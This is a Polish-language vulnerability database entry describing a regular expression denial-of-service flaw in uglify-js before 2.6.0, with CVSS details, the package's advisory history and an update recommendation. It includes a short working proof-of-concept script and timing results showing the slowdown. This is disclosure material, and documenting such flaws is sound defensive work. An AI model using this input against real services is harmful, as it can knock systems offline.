Wysoka

Regular Expression Denial of Service in uglify-js

Ujawniono: 24.10.2017
Aktualizacja: 11.10.2026 10:22

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

bash

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

Platforma	Paczka	Podatne wersje	Poprawka w wersji
Paczka npm	uglify-js	< 2.6.0	2.6.0

Odnośniki

Ocena CVSS 7.5/10

Wektor CVSS: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE): CWE-1333
Platforma: npm
Paczka: uglify-js
Ujawniono: 24.10.2017
Aktualizacja: 11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-c9f4-xj24-8jqx - CC BY 4.0

Historia podatności: uglify-js

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów: 2
Pierwsza → ostatnia: 10.2017 10.2017
Bez poprawki: 0
Wykorzystywana w atakach: 0

Rozkład istotności

Krytyczna 1
Wysoka 1

Ujawnienia w latach

2017: 2
2018: 0
2019: 0
2020: 0
2021: 0
2022: 0
2023: 0
2024: 0
2025: 0
2026: 0

24.10.2017

Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js

Krytyczna · 9.8 CVE-2015-8857 < 2.4.24 2.4.24
24.10.2017

Regular Expression Denial of Service in uglify-js ten wpis

Wysoka · 7.5 CVE-2015-8858 < 2.6.0 2.6.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację